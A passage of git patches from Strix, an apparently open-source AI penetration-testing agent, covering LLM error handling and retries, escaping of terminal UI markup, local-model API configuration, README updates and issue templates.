LLMRequestFailedError("LLM request failed: Budget exceeded", str(e)) from e + except litellm.APIResponseValidationError as e: + raise LLMRequestFailedError( + "LLM request failed: Response validation error", str(e) + ) from e + except litellm.JSONSchemaValidationError as e: + raise LLMRequestFailedError( + "LLM request failed: JSON schema validation error", str(e) + ) from e + except litellm.InvalidRequestError as e: + raise LLMRequestFailedError("LLM request failed: Invalid request", str(e)) from e + except litellm.BadRequestError as e: + raise LLMRequestFailedError("LLM request failed: Bad request", str(e)) from e + except litellm.APIError as e: + raise LLMRequestFailedError("LLM request failed: API error", str(e)) from e + except litellm.OpenAIError as e: + raise LLMRequestFailedError("LLM request failed: OpenAI error", str(e)) from e except Exception as e: - raise LLMRequestFailedError("LLM request failed after all retry attempts") from e + raise LLMRequestFailedError(f"LLM request failed: {type(e).__name__}", str(e)) from e @property def usage_stats(self) -> dict[str, dict[str, int | float]]: diff --git a/strix/llm/request_queue.py b/strix/llm/request_queue.py index bde0ee11d..cd99bcfbb 100644 --- a/strix/llm/request_queue.py +++ b/strix/llm/request_queue.py @@ -4,13 +4,27 @@ import time from typing import Any +import litellm from litellm import ModelResponse, completion -from tenacity import retry, stop_after_attempt, wait_exponential +from tenacity import retry, retry_if_exception, stop_after_attempt, wait_exponential logger = logging.getLogger(__name__) +def should_retry_exception(exception: Exception) -> bool: + status_code = None + + if hasattr(exception, "status_code"): + status_code = exception.status_code + elif hasattr(exception, "response") and hasattr(exception.response, "status_code"): + status_code = exception.response.status_code + + if status_code is not None: + return bool(litellm._should_retry(status_code)) + return True + + class LLMRequestQueue: def __init__(self, max_concurrent: int = 6, delay_between_requests: float = 1.0): self.max_concurrent = max_concurrent @@ -40,6 +54,7 @@ async def make_request(self, completion_args: dict[str, Any]) -> ModelResponse: @retry( # type: ignore[misc] stop=stop_after_attempt(5), wait=wait_exponential(multiplier=2, min=1, max=30), + retry=retry_if_exception(should_retry_exception), reraise=True, ) async def _reliable_request(self, completion_args: dict[str, Any]) -> ModelResponse: From 7d8ffe1e329e8660df8d67a076215622f59196dd Mon Sep 17 00:00:00 2001 From: Ahmed Allam <49919286+0xallam@users.noreply.github.com> Date: Tue, 23 Sep 2025 20:14:08 -0700 Subject: [PATCH 016/506] Fix escape issues causing tui to crash (#36) --- strix/cli/app.py | 17 ++++++++++++++--- strix/cli/tool_components/base_renderer.py | 11 ++++++----- strix/cli/tool_components/scan_info_renderer.py | 10 +++++----- .../tool_components/user_message_renderer.py | 8 ++++---- 4 files changed, 29 insertions(+), 17 deletions(-) diff --git a/strix/cli/app.py b/strix/cli/app.py index 0e059d0fb..3953cab50 100644 --- a/strix/cli/app.py +++ b/strix/cli/app.py @@ -9,6 +9,8 @@ from collections.abc import Callable from typing import Any, ClassVar +from rich.markup import MarkupError +from rich.markup import escape as rich_escape from textual import events, on from textual.app import App, ComposeResult from textual.binding import Binding @@ -24,7 +26,7 @@ def escape_markup(text: str) -> str: - return text.replace("[", "\\[").replace("]", "\\]") + return rich_escape(text) class ChatTextArea(TextArea): # type: ignore[misc] @@ -483,7 +485,7 @@ def _update_chat_view(self) -> None: self._displayed_events = current_event_ids chat_display = self.query_one("#chat_display", Static) - chat_display.update(content) + self._update_static_content_safe(chat_display, content) chat_display.set_classes(css_class) @@ -952,7 +954,7 @@ def _render_tool_content_simple(self, tool_data: dict[str, Any]) -> str: content = "\n".join(lines) lines = content.split("\n") - bordered_lines = [f"[{color}]▍[/{color}] {line}" for line in lines] + bordered_lines = [f"[{color}]▍[/] {line}" for line in lines] return "\n".join(bordered_lines) @on(Tree.NodeHighlighted) # type: ignore[misc] @@ -1141,6 +1143,15 @@ def _safe_widget_operation( else: return True + def _update_static_content_safe(self, widget: Static, content: str) -> None: + try: + widget.update(content) + except MarkupError: + try: + widget.update(rich_escape(content)) + except Exception: + widget.update(rich_escape(str(content))) + async def run_strix_cli(args: argparse.Namespace) -> None: app = StrixCLIApp(args) diff --git a/strix/cli/tool_components/base_renderer.py b/strix/cli/tool_components/base_renderer.py index c8a74253f..baa32c3f4 100644 --- a/strix/cli/tool_components/base_renderer.py +++ b/strix/cli/tool_components/base_renderer.py @@ -1,6 +1,7 @@ from abc import ABC, abstractmethod from typing import Any, ClassVar +from rich.markup import escape as rich_escape from textual.widgets import Static @@ -16,7 +17,7 @@ def render(cls, tool_data: dict[str, Any]) -> Static: @classmethod def escape_markup(cls, text: str) -> str: - return text.replace("[", "\\[").replace("]", "\\]") + return rich_escape(text) @classmethod def format_args(cls, args: dict[str, Any], max_length: int = 500) -> str: @@ -47,10 +48,10 @@ def format_result(cls, result: Any, max_length: int = 1000) -> str: @classmethod def get_status_icon(cls, status: str) -> str: status_icons = { - "running": "[#f59e0b]●[/#f59e0b] In progress...", - "completed": "[#22c55e]✓[/#22c55e] Done", - "failed": "[#dc2626]✗[/#dc2626] Failed", - "error": "[#dc2626]✗[/#dc2626] Error", + "running": "[#f59e0b]●[/] In progress...", + "completed": "[#22c55e]✓[/] Done", + "failed": "[#dc2626]✗[/] Failed", + "error": "[#dc2626]✗[/] Error", } return status_icons.get(status, "[dim]○[/dim] Unknown") diff --git a/strix/cli/tool_components/scan_info_renderer.py b/strix/cli/tool_components/scan_info_renderer.py index 8bd168ccc..22a438d54 100644 --- a/strix/cli/tool_components/scan_info_renderer.py +++ b/strix/cli/tool_components/scan_info_renderer.py @@ -28,11 +28,11 @@ def render(cls, tool_data: dict[str, Any]) -> Static: @classmethod def _build_target_display(cls, target: dict[str, Any]) -> str: if target_url := target.get("target_url"): - return f"[bold #22c55e]{target_url}[/]" + return f"[bold #22c55e]{cls.escape_markup(target_url)}[/]" if target_repo := target.get("target_repo"): - return f"[bold #22c55e]{target_repo}[/]" + return f"[bold #22c55e]{cls.escape_markup(target_repo)}[/]" if target_path := target.get("target_path"): - return f"[bold #22c55e]{target_path}[/]" + return f"[bold #22c55e]{cls.escape_markup(target_path)}[/]" return "[dim]unknown target[/dim]" @@ -49,9 +49,9 @@ def render(cls, tool_data: dict[str, Any]) -> Static: name = args.get("name", "Unknown Agent") task = args.get("task", "") - content = f"🤖 Spawned subagent [bold #22c55e]{name}[/]" + content = f"🤖 Spawned subagent [bold #22c55e]{cls.escape_markup(name)}[/]" if task: - content += f"\n Task: [dim]{task}[/dim]" + content += f"\n Task: [dim]{cls.escape_markup(task)}[/dim]" css_classes = cls.get_css_classes(status) return Static(content, classes=css_classes) diff --git a/strix/cli/tool_components/user_message_renderer.py b/strix/cli/tool_components/user_message_renderer.py index 449457593..149718d61 100644 --- a/strix/cli/tool_components/user_message_renderer.py +++ b/strix/cli/tool_components/user_message_renderer.py @@ -22,9 +22,9 @@ def render(cls, message_data: dict[str, Any]) -> Static: content = content[:297] + "..." lines = content.split("\n") - bordered_lines = [f"[#3b82f6]▍[/#3b82f6] {line}" for line in lines] + bordered_lines = [f"[#3b82f6]▍[/] {line}" for line in lines] bordered_content = "\n".join(bordered_lines) - formatted_content = f"[#3b82f6]▍[/#3b82f6] [bold]You:[/]\n{bordered_content}" + formatted_content = f"[#3b82f6]▍[/] [bold]You:[/]\n{bordered_content}" css_classes = " ".join(cls.css_classes) return Static(formatted_content, classes=css_classes) @@ -38,6 +38,6 @@ def render_simple(cls, content: str) -> str: content = content[:297] + "..." lines = content.split("\n") - bordered_lines = [f"[#3b82f6]▍[/#3b82f6] {line}" for line in lines] + bordered_lines = [f"[#3b82f6]▍[/] {line}" for line in lines] bordered_content = "\n".join(bordered_lines) - return f"[#3b82f6]▍[/#3b82f6] [bold]You:[/]\n{bordered_content}" + return f"[#3b82f6]▍[/] [bold]You:[/]\n{bordered_content}" From c8b23720dfbc1480d8c81b36d136a9593c52464e Mon Sep 17 00:00:00 2001 From: Ahmed Allam <49919286+0xallam@users.noreply.github.com> Date: Tue, 23 Sep 2025 20:41:23 -0700 Subject: [PATCH 017/506] Fix tool server http requests issues (#37) --- strix/runtime/docker_runtime.py | 4 ++-- strix/tools/executor.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/strix/runtime/docker_runtime.py b/strix/runtime/docker_runtime.py index eef88fc82..9b6bcb5f0 100644 --- a/strix/runtime/docker_runtime.py +++ b/strix/runtime/docker_runtime.py @@ -320,7 +320,7 @@ async def _register_agent_with_tool_server( import httpx try: - async with httpx.AsyncClient() as client: + async with httpx.AsyncClient(trust_env=False) as client: response = await client.post( f"{api_url}/register_agent", params={"agent_id": agent_id}, @@ -337,7 +337,7 @@ async def get_sandbox_url(self, container_id: str, port: int) -> str: container = self.client.containers.get(container_id) container.reload() - host = "localhost" + host = "127.0.0.1" if "DOCKER_HOST" in os.environ: docker_host = os.environ["DOCKER_HOST"] if "://" in docker_host: diff --git a/strix/tools/executor.py b/strix/tools/executor.py index 1ea15dbd1..d69033a22 100644 --- a/strix/tools/executor.py +++ b/strix/tools/executor.py @@ -62,7 +62,7 @@ async def _execute_tool_in_sandbox(tool_name: str, agent_state: Any, **kwargs: A "Content-Type": "application/json", } - async with httpx.AsyncClient() as client: + async with httpx.AsyncClient(trust_env=False) as client: try: response = await client.post( request_url, json=request_data, headers=headers, timeout=None From af01294c4693f6f04af0f5531ae8f6aff56f51e1 Mon Sep 17 00:00:00 2001 From: Ahmed Allam Date: Wed, 24 Sep 2025 01:13:02 -0700 Subject: [PATCH 018/506] Better handling for rich markup errors --- pyproject.toml | 2 +- strix/cli/app.py | 20 ++++++++++++------- .../tool_components/agents_graph_renderer.py | 2 +- strix/cli/tool_components/base_renderer.py | 8 ++++---- strix/cli/tool_components/browser_renderer.py | 6 +++--- strix/cli/tool_components/proxy_renderer.py | 4 ++-- strix/cli/tool_components/registry.py | 2 +- .../cli/tool_components/reporting_renderer.py | 2 +- .../cli/tool_components/scan_info_renderer.py | 14 +++++++------ .../cli/tool_components/terminal_renderer.py | 2 +- .../tool_components/user_message_renderer.py | 8 ++++---- 11 files changed, 39 insertions(+), 31 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 30f919dc5..8d755be21 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "strix-agent" -version = "0.1.15" +version = "0.1.17" description = "Open-source AI Hackers for your apps" authors = ["Strix "] readme = "README.md" diff --git a/strix/cli/app.py b/strix/cli/app.py index 3953cab50..63414f042 100644 --- a/strix/cli/app.py +++ b/strix/cli/app.py @@ -9,8 +9,8 @@ from collections.abc import Callable from typing import Any, ClassVar -from rich.markup import MarkupError from rich.markup import escape as rich_escape +from rich.text import Text from textual import events, on from textual.app import App, ComposeResult from textual.binding import Binding @@ -550,7 +550,9 @@ def _update_agent_status_display(self) -> None: elif status == "llm_failed": error_msg = agent_data.get("error_message", "") display_msg = ( - f"[red]{error_msg}[/red]" if error_msg else "[red]LLM request failed[/red]" + f"[red]{escape_markup(error_msg)}[/red]" + if error_msg + else "[red]LLM request failed[/red]" ) self._safe_widget_operation(status_text.update, display_msg) self._safe_widget_operation( @@ -954,7 +956,7 @@ def _render_tool_content_simple(self, tool_data: dict[str, Any]) -> str: content = "\n".join(lines) lines = content.split("\n") - bordered_lines = [f"[{color}]▍[/] {line}" for line in lines] + bordered_lines = [f"[{color}]▍[/{color}] {line}" for line in lines] return "\n".join(bordered_lines) @on(Tree.NodeHighlighted) # type: ignore[misc] @@ -1146,11 +1148,15 @@ def _safe_widget_operation( def _update_static_content_safe(self, widget: Static, content: str) -> None: try: widget.update(content) - except MarkupError: + except Exception: # noqa: BLE001 try: - widget.update(rich_escape(content)) - except Exception: - widget.update(rich_escape(str(content))) + safe_text = Text.from_markup(content) + widget.update(safe_text) + except Exception: # noqa: BLE001 + import re + + plain_text = re.sub(r"\[.*?\]", "", content) + widget.update(plain_text) async def run_strix_cli(args: argparse.Namespace) -> None: diff --git a/strix/cli/tool_components/agents_graph_renderer.py b/strix/cli/tool_components/agents_graph_renderer.py index b5ae5ad4c..ef8c47d56 100644 --- a/strix/cli/tool_components/agents_graph_renderer.py +++ b/strix/cli/tool_components/agents_graph_renderer.py @@ -31,7 +31,7 @@ def render(cls, tool_data: dict[str, Any]) -> Static: task = args.get("task", "") name = args.get("name", "Agent") - header = f"🤖 [bold #fbbf24]Creating {name}[/]" + header = f"🤖 [bold #fbbf24]Creating {cls.escape_markup(name)}[/]" if task: task_display = task[:400] + "..." if len(task) > 400 else task diff --git a/strix/cli/tool_components/base_renderer.py b/strix/cli/tool_components/base_renderer.py index baa32c3f4..80b8f549b 100644 --- a/strix/cli/tool_components/base_renderer.py +++ b/strix/cli/tool_components/base_renderer.py @@ -48,10 +48,10 @@ def format_result(cls, result: Any, max_length: int = 1000) -> str: @classmethod def get_status_icon(cls, status: str) -> str: status_icons = { - "running": "[#f59e0b]●[/] In progress...", - "completed": "[#22c55e]✓[/] Done", - "failed": "[#dc2626]✗[/] Failed", - "error": "[#dc2626]✗[/] Error", + "running": "[#f59e0b]●[/#f59e0b] In progress...", + "completed": "[#22c55e]✓[/#22c55e] Done", + "failed": "[#dc2626]✗[/#dc2626] Failed", + "error": "[#dc2626]✗[/#dc2626] Error", } return status_icons.get(status, "[dim]○[/dim] Unknown") diff --git a/strix/cli/tool_components/browser_renderer.py b/strix/cli/tool_components/browser_renderer.py index 1c4723c88..8b2d25231 100644 --- a/strix/cli/tool_components/browser_renderer.py +++ b/strix/cli/tool_components/browser_renderer.py @@ -76,7 +76,7 @@ def _build_sleek_content(cls, action: str, args: dict[str, Any]) -> str: "double_click": "double clicking", "hover": "hovering", } - message = action_words[action] + message = cls.escape_markup(action_words[action]) return f"{browser_icon} [#06b6d4]{message}[/]" @@ -97,9 +97,9 @@ def _build_sleek_content(cls, action: str, args: dict[str, Any]) -> str: } if action in simple_actions: - return f"{browser_icon} [#06b6d4]{simple_actions[action]}[/]" + return f"{browser_icon} [#06b6d4]{cls.escape_markup(simple_actions[action])}[/]" - return f"{browser_icon} [#06b6d4]{action}[/]" + return f"{browser_icon} [#06b6d4]{cls.escape_markup(action)}[/]" @classmethod def _format_url(cls, url: str) -> str: diff --git a/strix/cli/tool_components/proxy_renderer.py b/strix/cli/tool_components/proxy_renderer.py index 469e56b46..5c829d891 100644 --- a/strix/cli/tool_components/proxy_renderer.py +++ b/strix/cli/tool_components/proxy_renderer.py @@ -64,7 +64,7 @@ def render(cls, tool_data: dict[str, Any]) -> Static: part = args.get("part", "request") - header = f"👀 [bold #06b6d4]Viewing {part}[/]" + header = f"👀 [bold #06b6d4]Viewing {cls.escape_markup(part)}[/]" if result and isinstance(result, dict): if "content" in result: @@ -107,7 +107,7 @@ def render(cls, tool_data: dict[str, Any]) -> Static: method = args.get("method", "GET") url = args.get("url", "") - header = f"📤 [bold #06b6d4]Sending {method}[/]" + header = f"📤 [bold #06b6d4]Sending {cls.escape_markup(method)}[/]" if result and isinstance(result, dict): status_code = result.get("status_code") diff --git a/strix/cli/tool_components/registry.py b/strix/cli/tool_components/registry.py index 753a20b98..583ab3aa3 100644 --- a/strix/cli/tool_components/registry.py +++ b/strix/cli/tool_components/registry.py @@ -54,7 +54,7 @@ def _render_default_tool_widget(tool_data: dict[str, Any]) -> Static: status_text = BaseToolRenderer.get_status_icon(status) - header = f"→ Using tool [bold blue]{tool_name}[/]" + header = f"→ Using tool [bold blue]{BaseToolRenderer.escape_markup(tool_name)}[/]" content_parts = [header] args_str = BaseToolRenderer.format_args(args) diff --git a/strix/cli/tool_components/reporting_renderer.py b/strix/cli/tool_components/reporting_renderer.py index 37aec8d96..8e7ee94b7 100644 --- a/strix/cli/tool_components/reporting_renderer.py +++ b/strix/cli/tool_components/reporting_renderer.py @@ -27,7 +27,7 @@ def render(cls, tool_data: dict[str, Any]) -> Static: if severity: severity_color = cls._get_severity_color(severity.lower()) content_parts.append( - f" [dim]Severity: [{severity_color}]{severity.upper()}[/{severity_color}][/]" + f" [dim]Severity: [{severity_color}]{cls.escape_markup(severity.upper())}[/{severity_color}][/]" ) if content: diff --git a/strix/cli/tool_components/scan_info_renderer.py b/strix/cli/tool_components/scan_info_renderer.py index 22a438d54..31d852ef4 100644 --- a/strix/cli/tool_components/scan_info_renderer.py +++ b/strix/cli/tool_components/scan_info_renderer.py @@ -28,12 +28,12 @@ def render(cls, tool_data: dict[str, Any]) -> Static: @classmethod def _build_target_display(cls, target: dict[str, Any]) -> str: if target_url := target.get("target_url"): - return f"[bold #22c55e]{cls.escape_markup(target_url)}[/]" + return cls.escape_markup(str(target_url)) if target_repo := target.get("target_repo"): - return f"[bold #22c55e]{cls.escape_markup(target_repo)}[/]" + return cls.escape_markup(str(target_repo)) if target_path := target.get("target_path"): - return f"[bold #22c55e]{cls.escape_markup(target_path)}[/]" - return "[dim]unknown target[/dim]" + return cls.escape_markup(str(target_path)) + return "unknown target" @register_tool_renderer @@ -49,9 +49,11 @@ def render(cls, tool_data: dict[str, Any]) -> Static: name = args.get("name", "Unknown Agent") task = args.get("task", "") - content = f"🤖 Spawned subagent [bold #22c55e]{cls.escape_markup(name)}[/]" + name = cls.escape_markup(str(name)) + content = f"🤖 Spawned subagent {name}" if task: - content += f"\n Task: [dim]{cls.escape_markup(task)}[/dim]" + task = cls.escape_markup(str(task)) + content += f"\n Task: {task}" css_classes = cls.get_css_classes(status) return Static(content, classes=css_classes) diff --git a/strix/cli/tool_components/terminal_renderer.py b/strix/cli/tool_components/terminal_renderer.py index 8114f16d6..f6159cddb 100644 --- a/strix/cli/tool_components/terminal_renderer.py +++ b/strix/cli/tool_components/terminal_renderer.py @@ -111,7 +111,7 @@ def _build_sleek_content( ) if is_special: - return f"{terminal_icon} [#ef4444]{command}[/]" + return f"{terminal_icon} [#ef4444]{cls.escape_markup(command)}[/]" if is_input: formatted_command = cls._format_command_display(command) diff --git a/strix/cli/tool_components/user_message_renderer.py b/strix/cli/tool_components/user_message_renderer.py index 149718d61..449457593 100644 --- a/strix/cli/tool_components/user_message_renderer.py +++ b/strix/cli/tool_components/user_message_renderer.py @@ -22,9 +22,9 @@ def render(cls, message_data: dict[str, Any]) -> Static: content = content[:297] + "..." lines = content.split("\n") - bordered_lines = [f"[#3b82f6]▍[/] {line}" for line in lines] + bordered_lines = [f"[#3b82f6]▍[/#3b82f6] {line}" for line in lines] bordered_content = "\n".join(bordered_lines) - formatted_content = f"[#3b82f6]▍[/] [bold]You:[/]\n{bordered_content}" + formatted_content = f"[#3b82f6]▍[/#3b82f6] [bold]You:[/]\n{bordered_content}" css_classes = " ".join(cls.css_classes) return Static(formatted_content, classes=css_classes) @@ -38,6 +38,6 @@ def render_simple(cls, content: str) -> str: content = content[:297] + "..." lines = content.split("\n") - bordered_lines = [f"[#3b82f6]▍[/] {line}" for line in lines] + bordered_lines = [f"[#3b82f6]▍[/#3b82f6] {line}" for line in lines] bordered_content = "\n".join(bordered_lines) - return f"[#3b82f6]▍[/] [bold]You:[/]\n{bordered_content}" + return f"[#3b82f6]▍[/#3b82f6] [bold]You:[/]\n{bordered_content}" From ac6d5c6daeef4b2ec59e03b87d8ef63556ec503e Mon Sep 17 00:00:00 2001 From: Stanislav Luchanskiy Date: Wed, 24 Sep 2025 22:32:58 +0300 Subject: [PATCH 019/506] feat(llm): support remote API base (Ollama/LM Studio/LiteLLM) + docs (#24) Co-authored-by: Ahmed Allam Co-authored-by: Ahmed Allam <49919286+0xallam@users.noreply.github.com> --- README.md | 6 +-- pyproject.toml | 2 +- strix/cli/main.py | 102 +++++++++++++++++++++++++++++++++++----------- strix/llm/llm.py | 9 ++++ 4 files changed, 92 insertions(+), 27 deletions(-) diff --git a/README.md b/README.md index eea72d32d..a3a91de4c 100644 --- a/README.md +++ b/README.md @@ -89,12 +89,12 @@ strix --target api.your-app.com --instruction "Prioritize authentication and aut ### ⚙️ Configuration ```bash -# Required export STRIX_LLM="openai/gpt-5" export LLM_API_KEY="your-api-key" -# Recommended -export PERPLEXITY_API_KEY="your-api-key" +# Optional +export LLM_API_BASE="your-api-base-url" # if using a local model, e.g. Ollama, LMStudio +export PERPLEXITY_API_KEY="your-api-key" # for search capabilities ``` [📚 View supported AI models](https://docs.litellm.ai/docs/providers) diff --git a/pyproject.toml b/pyproject.toml index 8d755be21..55dd1c68e 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "strix-agent" -version = "0.1.17" +version = "0.1.18" description = "Open-source AI Hackers for your apps" authors = ["Strix "] readme = "README.md" diff --git a/strix/cli/main.py b/strix/cli/main.py index 7a10821df..88be83951 100644 --- a/strix/cli/main.py +++ b/strix/cli/main.py @@ -48,8 +48,23 @@ def validate_environment() -> None: if not os.getenv("STRIX_LLM"): missing_required_vars.append("STRIX_LLM") + has_base_url = any( + [ + os.getenv("LLM_API_BASE"), + os.getenv("OPENAI_API_BASE"), + os.getenv("LITELLM_BASE_URL"), + os.getenv("OLLAMA_API_BASE"), + ] + ) + if not os.getenv("LLM_API_KEY"): - missing_required_vars.append("LLM_API_KEY") + if not has_base_url: + missing_required_vars.append("LLM_API_KEY") + else: + missing_optional_vars.append("LLM_API_KEY") + + if not has_base_url: + missing_optional_vars.append("LLM_API_BASE") if not os.getenv("PERPLEXITY_API_KEY"): missing_optional_vars.append("PERPLEXITY_API_KEY") @@ -65,40 +80,72 @@ def validate_environment() -> None: error_text.append(" is not set\n", style="white") if missing_optional_vars: - error_text.append( - "\nOptional (but recommended) environment variables:\n", style="dim white" - ) + error_text.append("\nOptional environment variables:\n", style="dim white") for var in missing_optional_vars: error_text.append(f"• {var}", style="dim yellow") error_text.append(" is not set\n", style="dim white") error_text.append("\nRequired environment variables:\n", style="white") - error_text.append("• ", style="white") - error_text.append("STRIX_LLM", style="bold cyan") - error_text.append( - " - Model name to use with litellm (e.g., 'openai/gpt-5')\n", - style="white", - ) - error_text.append("• ", style="white") - error_text.append("LLM_API_KEY", style="bold cyan") - error_text.append(" - API key for the LLM provider\n", style="white") + for var in missing_required_vars: + if var == "STRIX_LLM": + error_text.append("• ", style="white") + error_text.append("STRIX_LLM", style="bold cyan") + error_text.append( + " - Model name to use with litellm (e.g., 'openai/gpt-5')\n", + style="white", + ) + elif var == "LLM_API_KEY": + error_text.append("• ", style="white") + error_text.append("LLM_API_KEY", style="bold cyan") + error_text.append( + " - API key for the LLM provider (required for cloud providers)\n", + style="white", + ) if missing_optional_vars: error_text.append("\nOptional environment variables:\n", style="white") - error_text.append("• ", style="white") - error_text.append("PERPLEXITY_API_KEY", style="bold cyan") - error_text.append( - " - API key for Perplexity AI web search (enables real-time research)\n", - style="white", - ) + for var in missing_optional_vars: + if var == "LLM_API_KEY": + error_text.append("• ", style="white") + error_text.append("LLM_API_KEY", style="bold cyan") + error_text.append(" - API key for the LLM provider\n", style="white") + elif var == "LLM_API_BASE": + error_text.append("• ", style="white") + error_text.append("LLM_API_BASE", style="bold cyan") + error_text.append( + " - Custom API base URL if using local models (e.g., Ollama, LMStudio)\n", + style="white", + ) + elif var == "PERPLEXITY_API_KEY": + error_text.append("• ", style="white") + error_text.append("PERPLEXITY_API_KEY", style="bold cyan") + error_text.append( + " - API key for Perplexity AI web search (enables real-time research)\n", + style="white", + ) error_text.append("\nExample setup:\n", style="white") error_text.append("export STRIX_LLM='openai/gpt-5'\n", style="dim white") - error_text.append("export LLM_API_KEY='your-api-key-here'\n", style="dim white") + + if "LLM_API_KEY" in missing_required_vars: + error_text.append("export LLM_API_KEY='your-api-key-here'\n", style="dim white") + if missing_optional_vars: - error_text.append( - "export PERPLEXITY_API_KEY='your-perplexity-key-here'", style="dim white" - ) + for var in missing_optional_vars: + if var == "LLM_API_KEY": + error_text.append( + "export LLM_API_KEY='your-api-key-here' # optional with local models\n", + style="dim white", + ) + elif var == "LLM_API_BASE": + error_text.append( + "export LLM_API_BASE='http://localhost:11434' # needed for local models only\n", + style="dim white", + ) + elif var == "PERPLEXITY_API_KEY": + error_text.append( + "export PERPLEXITY_API_KEY='your-perplexity-key-here'\n", style="dim white" + ) panel = Panel( error_text, @@ -152,6 +199,15 @@ async def warm_up_llm() -> None: if api_key: litellm.api_key = api_key + api_base = ( + os.getenv("LLM_API_BASE") + or os.getenv("OPENAI_API_BASE") + or os.getenv("LITELLM_BASE_URL") + or os.getenv("OLLAMA_API_BASE") + ) + if api_base: + litellm.api_base = api_base + test_messages = [ {"role": "system", "content": "You are a helpful assistant."}, {"role": "user", "content": "Reply with just 'OK'."}, diff --git a/strix/llm/llm.py b/strix/llm/llm.py index f24c5095d..aed2b4ab7 100644 --- a/strix/llm/llm.py +++ b/strix/llm/llm.py @@ -28,6 +28,15 @@ if api_key: litellm.api_key = api_key +api_base = ( + os.getenv("LLM_API_BASE") + or os.getenv("OPENAI_API_BASE") + or os.getenv("LITELLM_BASE_URL") + or os.getenv("OLLAMA_API_BASE") +) +if api_base: + litellm.api_base = api_base + class LLMRequestFailedError(Exception): def __init__(self, message: str, details: str | None = None): From 94ca55b06562a58d620d224bf523dea2cde72f0a Mon Sep 17 00:00:00 2001 From: Ahmed Allam Date: Wed, 24 Sep 2025 19:21:01 -0700 Subject: [PATCH 020/506] Update README.md --- README.md | 34 ++++++++++++++++++++++------------ 1 file changed, 22 insertions(+), 12 deletions(-) diff --git a/README.md b/README.md index a3a91de4c..d725038fe 100644 --- a/README.md +++ b/README.md @@ -4,10 +4,11 @@ ### Open-source AI hackers for your apps +[![Strix](https://img.shields.io/badge/Strix-usestrix.com-1a1a1a.svg)](https://usestrix.com) [![Apache 2.0](https://img.shields.io/badge/license-Apache%202.0-blue.svg)](LICENSE) -[![Vercel AI Accelerator 2025](https://img.shields.io/badge/Vercel%20AI-Accelerator%202025-000000?style=flat&logo=vercel)](https://vercel.com/ai-accelerator) -[![Status: Alpha](https://img.shields.io/badge/status-alpha-orange.svg)](https://github.com/usestrix/strix) - +[![Discord](https://img.shields.io/badge/Discord-join-5865F2?logo=discord&logoColor=white)](https://discord.gg/yduEyduBsp) +[![PyPI Downloads](https://static.pepy.tech/personalized-badge/strix-agent?period=total&units=INTERNATIONAL_SYSTEM&left_color=GRAY&right_color=BLACK&left_text=Downloads)](https://pepy.tech/projects/strix-agent) +[![GitHub stars](https://img.shields.io/github/stars/usestrix/strix.svg?style=social&label=Star)](https://github.com/usestrix/strix)
@@ -20,8 +21,21 @@ Strix are autonomous AI agents that act just like real hackers - they run your code dynamically, find vulnerabilities, and validate them through actual exploitation. Built for developers and security teams who need fast, accurate security testing without the overhead of manual pentesting or the false positives of static analysis tools. +- **Full hacker toolkit** out of the box +- **Teams of agents** that collaborate and scale +- **Real validation** via exploitation and PoC, not false positives +- **Developer‑first** CLI with actionable reports +- **Auto‑fix & reporting** to accelerate remediation + +--- + ### 🚀 Quick Start +Prerequisites: +- Docker (running) +- Python 3.12+ +- An LLM provider key (or a local LLM) + ```bash # Install pipx install strix-agent @@ -34,12 +48,11 @@ export LLM_API_KEY="your-api-key" strix --target ./app-directory ``` -## Why Use Strix +First run pulls the sandbox Docker image. Results are saved under `agent_runs/`. + +### ☁️ Cloud Hosted -- **Full Hacker Arsenal** - All the tools a professional hacker needs, built into the agents -- **Real Validation** - Dynamic testing and actual exploitation, thus much fewer false positives -- **Developer-First** - Seamlessly integrates into existing development workflows -- **Auto-Fix & Reporting** - Automated patching with detailed remediation and security reports +Want to skip the setup? Try our cloud-hosted version: **[usestrix.com](https://usestrix.com)** ## ✨ Features @@ -110,16 +123,13 @@ Our managed platform provides: - **🔌 Third-Party Integrations** - **🎯 Enterprise Support** -[**Get Enterprise Demo →**](https://form.typeform.com/to/ljtvl6X0) +[**Get Enterprise Demo →**](https://usestrix.com) ## 🔒 Security Architecture - **Container Isolation** - All testing in sandboxed Docker environments - **Local Processing** - Testing runs locally, no data sent to external services -> [!NOTE] -> Strix is currently in Alpha. Expect rapid updates and improvements. - > [!WARNING] > Only test systems you own or have permission to test. You are responsible for using Strix ethically and legally. From 7979b84cc30bfc94abdc380e5daf372bfdf14ff4 Mon Sep 17 00:00:00 2001 From: Ahmed Allam <49919286+0xallam@users.noreply.github.com> Date: Mon, 29 Sep 2025 02:19:04 +0100 Subject: [PATCH 021/506] Update issue templates --- .github/ISSUE_TEMPLATE/bug_report.md | 33 +++++++++++++++++++++++ .github/ISSUE_TEMPLATE/feature_request.md | 20 ++++++++++++++ 2 files changed, 53 insertions(+) create mode 100644 .github/ISSUE_TEMPLATE/bug_report.md create mode 100644 .github/ISSUE_TEMPLATE/feature_request.md diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 000000000..060e3d45a --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,33 @@ +--- +name: Bug report +about: Create a report to help us improve +title: "[BUG]" +labels: bug +assignees: '' + +--- + +**Describe the bug** +A clear and concise description of what the bug is. + +**To Reproduce** +Steps to reproduce the behavior: +1. +2. +3. +4. + +**Expected behavior** +A clear and concise description of what you expected to happen. + +**Screenshots** +If applicable, add screenshots to help explain your problem. + +**System Information:** +- OS: [e.g. Ubuntu 22.04] +- Strix Version or Commit: [e.g. 0.1.18] +- Python Version: [e.g. 3.12] +- LLM Used: [e.g. GPT-5, Claude Sonnet 4] + +**Additional context** +Add any other context about the problem here. diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 000000000..f45586549 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,20 @@ +--- +name: Feature request +about: Suggest an idea for this project +title: "[FEATURE]" +labels: enhancement +assignees: '' + +--- + +**Is your feature request related to a problem? Please describe.** +A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] + +**Describe the solution you'd like** +A clear and concise description of what you want to happen. + +**Describe alternatives you've considered** +A clear and concise description of any alternative solutions or features 